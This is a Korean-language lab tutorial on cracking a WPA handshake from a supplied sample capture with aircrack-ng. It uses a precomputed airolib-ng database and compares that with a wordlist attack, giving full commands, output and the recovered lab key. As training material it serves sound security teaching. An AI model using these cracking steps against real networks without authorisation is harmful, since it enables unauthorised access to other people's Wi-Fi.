소개
aircrack-ng를 사용하여 WPA/WPA2 핸드셰이크를 크랙할 때, 표준 방법은 단어 목록 (wordlist) 에서 각 비밀번호를 테스트하는 것입니다. 각 비밀번호에 대해 aircrack-ng는 Pairwise Master Key (PMK) 를 계산하고 캡처된 핸드셰이크와 비교해야 합니다. 이 실시간 계산은 특히 큰 단어 목록을 사용할 때 시간이 많이 소요될 수 있습니다.
airolib-ng 도구는 강력한 최적화 기능을 제공합니다. 특정 네트워크 (ESSID) 와 주어진 단어 목록에 대한 모든 PMK 를 미리 계산하여 데이터베이스에 저장할 수 있습니다. 공격을 실행할 때 aircrack-ng는 이 데이터베이스를 사용하여 PMK 를 계산하는 대신 단순히 조회할 수 있으므로 크랙 속도가 극적으로 향상됩니다.
이 실험실에서는 미리 구축된 airolib-ng 데이터베이스를 사용하여 WPA 핸드셰이크를 크랙하는 방법을 배우고 표준 단어 목록 기반 공격과 성능을 비교합니다.
데이터베이스 내 ESSID 에 대한 WPA 핸드셰이크 캡처
이 단계에서는 제공된 캡처 파일 (wpa.cap) 을 검사하여 유효한 WPA 핸드셰이크를 포함하고 있는지 확인합니다. 이 실험실에서는 ~/project 디렉토리에 wpa.cap이라는 캡처 파일이 제공되었습니다. 이 파일에는 우리가 목표로 할 네트워크에 대한 캡처된 4-way 핸드셰이크가 포함되어 있습니다.
aircrack-ng를 사용하여 이 파일의 내용을 살펴보겠습니다. 이 명령은 공격을 시작하는 것이 아니라 단순히 파일을 파싱하여 포함된 네트워크의 요약을 보여줍니다.
터미널에서 다음 명령을 실행합니다.
aircrack-ng wpa.cap
캡처 파일에서 발견된 무선 네트워크 목록을 보여주는 출력을 볼 수 있습니다. ESSID(네트워크 이름) 와 핸드셰이크가 캡처되었다는 확인을 기록해 두십시오.
Opening wpa.cap
Read 1 packets.
## BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
(press CTRL+C to abort)
CTRL+C를 눌러 aircrack-ng 프롬프트를 종료할 수 있습니다. 중요한 정보는 ESSID teddy에 대한 핸드셰이크가 있다는 것입니다. 이것이 우리가 목표로 할 네트워크입니다.
공격을 위한 aircrack-ng 명령 구성
이 단계에서는 공격을 위한 aircrack-ng 명령 구성을 시작합니다. WPA 공격의 기본 구문은 aircrack-ng [options] <capture file>입니다.
공격을 더 효율적으로 만들기 위해, 특히 캡처 파일에 여러 네트워크가 포함된 경우, -e 매개변수 뒤에 ESSID 를 지정하여 목표를 설정할 수 있습니다. 이전 단계에 따라 우리의 목표 ESSID 는 teddy입니다.
이것을 명령에 추가해 보겠습니다.
aircrack-ng -e teddy
이 명령은 아직 완료되지 않았습니다. aircrack-ng는 테스트할 비밀번호 또는 PMK 를 어디서 가져올지 알아야 합니다. 표준 공격에서는 단어 목록을 제공하기 위해 -w 플래그를 사용합니다. 그러나 이 실험실에서는 미리 계산된 airolib-ng 데이터베이스를 사용할 것입니다. 다음 단계에서 데이터베이스에 대한 매개변수를 추가할 것입니다.
-r 매개변수를 사용하여 데이터베이스 지정
이 단계에서는 aircrack-ng에 airolib-ng 데이터베이스를 사용하도록 지시하여 명령을 완성합니다. 이를 위한 매개변수는 -r ( "read database"의 약자) 입니다.
이 실험실의 설정 과정 중에 ~/project 디렉토리에 mydb라는 데이터베이스가 생성되었습니다. 이 데이터베이스에는 ESSID teddy와 wordlist.txt의 비밀번호에 대한 미리 계산된 PMK 가 포함되어 있습니다.
이제 모든 조각을 결합해 보겠습니다. aircrack-ng 명령, 대상 ESSID (-e teddy), 데이터베이스 (-r mydb), 그리고 캡처 파일 (wpa.cap) 입니다.
최종 명령은 다음과 같습니다.
aircrack-ng -e teddy -r mydb wpa.cap
이 명령은 aircrack-ng에 다음을 지시합니다.
- ESSID
teddy를 가진 네트워크를 대상으로 합니다. - 데이터베이스
mydb에서 미리 계산된 PMK 를 사용합니다. wpa.cap에서 발견된 핸드셰이크에 대해 이러한 PMK 를 테스트합니다.
다음 단계에서 이 명령을 실행하고 결과를 관찰할 것입니다.
공격 실행 및 크래킹 속도 관찰
이 단계에서는 완성된 명령을 사용하여 공격을 실행할 차례입니다. 미리 계산된 데이터베이스를 사용함으로써 크래킹 프로세스가 매우 빠를 것으로 예상됩니다.
터미널에서 다음 명령을 실행하십시오.
aircrack-ng -e teddy -r mydb wpa.cap
프로그램이 시작되고 데이터베이스와 캡처 파일이 열리며 거의 즉시 올바른 키를 찾을 것입니다.
출력은 다음과 유사해야 합니다.
Opening mydb
Opening wpa.cap
Read 1 packets.
## BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
Opening mydb
Attack will be restarted every 5000 PMKs.
Starting attack on ESSID teddy...
KEY FOUND! [ biscotte ]
Master Key : 45 45 79 A2 25 5D F9 5A 47 2B 1E 15 7E 22 38 84
...
Transient Key : 82 2A 8F 85 42 29 A2 1A 29 69 F1 25 2B 23 4C 78
...
EAPOL HMAC : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
KEY FOUND! 메시지가 얼마나 빨리 나타나는지 주목하십시오. 비밀번호는 biscotte입니다. PMK 가 이미 계산되어 mydb 데이터베이스에 저장되었기 때문에, aircrack-ng는 집중적인 암호화 계산이 아닌 빠른 조회 및 비교만 수행하면 되었습니다.
일반적인 단어 목록 공격과의 성능 비교
이 단계에서는 airolib-ng 데이터베이스 방식의 속도를 완전히 이해하기 위해, 전통적인 단어 목록 방식을 사용하여 동일한 공격을 수행할 것입니다. 이를 통해 성능 차이를 직접 확인할 수 있습니다.
일반적인 공격에서는 -w 매개변수를 사용하여 단어 목록 파일을 지정합니다. 그러면 aircrack-ng는 파일에서 각 비밀번호를 읽고, 해당 PMK 를 계산한 다음 테스트합니다.
설정 과정에서 이 목적을 위해 wordlist.txt라는 파일이 생성되었습니다. 이 파일을 사용하여 공격을 실행해 보겠습니다.
다음 명령을 실행하십시오.
aircrack-ng -e teddy -w wordlist.txt wpa.cap
aircrack-ng가 시작되고 키 테스트를 시작하는 것을 볼 수 있습니다. 테스트된 키의 수와 현재 속도 (초당 키 수, k/s) 를 보여주는 상태 표시를 주의 깊게 살펴보십시오.
Opening wpa.cap
Read 1 packets.
## BSSID ESSID Encryption
1 00:14:6C:7E:40:80 teddy WPA (1 handshake)
Choosing first network as target.
Opening wpa.cap
Opening wordlist.txt
Reading passwords from wordlist.txt
[0:00:00] 2 keys tested (XXXX.XX k/s)
KEY FOUND! [ biscotte ]
Master Key : 45 45 79 A2 25 5D F9 5A 47 2B 1E 15 7E 22 38 84
...
Transient Key : 82 2A 8F 85 42 29 A2 1A 29 69 F1 25 2B 23 4C 78
...
EAPOL HMAC : 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
단어 목록이 매우 작기 때문에 키가 여전히 빠르게 발견되지만, 키를 테스트하는 측정 가능한 프로세스가 있었다는 점에 주목하십시오. 수백만 개의 비밀번호를 포함하는 대규모 단어 목록의 경우 이 프로세스는 상당한 시간이 소요될 것입니다. 반면에 데이터베이스 공격은 계산적으로 비용이 많이 드는 부분이 이미 완료되었기 때문에 거의 즉각적이었습니다.
요약
이 실습에서는 미리 계산된 airolib-ng 데이터베이스를 사용하여 WPA 핸드셰이크를 성공적으로 크랙했습니다. -r 매개변수를 사용하여 데이터베이스를 지정하는 aircrack-ng 명령을 구성하는 방법을 배웠고, 거의 즉각적인 성능을 관찰했습니다.
-w 매개변수를 사용하는 일반적인 단어 목록 공격과 이를 비교함으로써, 미리 PMK 를 계산하는 것의 상당한 속도 이점을 직접 확인할 수 있었습니다. 이 기법은 보안 전문가가 잠재적인 비밀번호의 대규모 사전으로 특정 네트워크를 대상으로 할 때 매우 유용합니다. 이는 시간이 많이 소요되는 계산 단계를 최종 크래킹 단계와 분리하기 때문입니다.
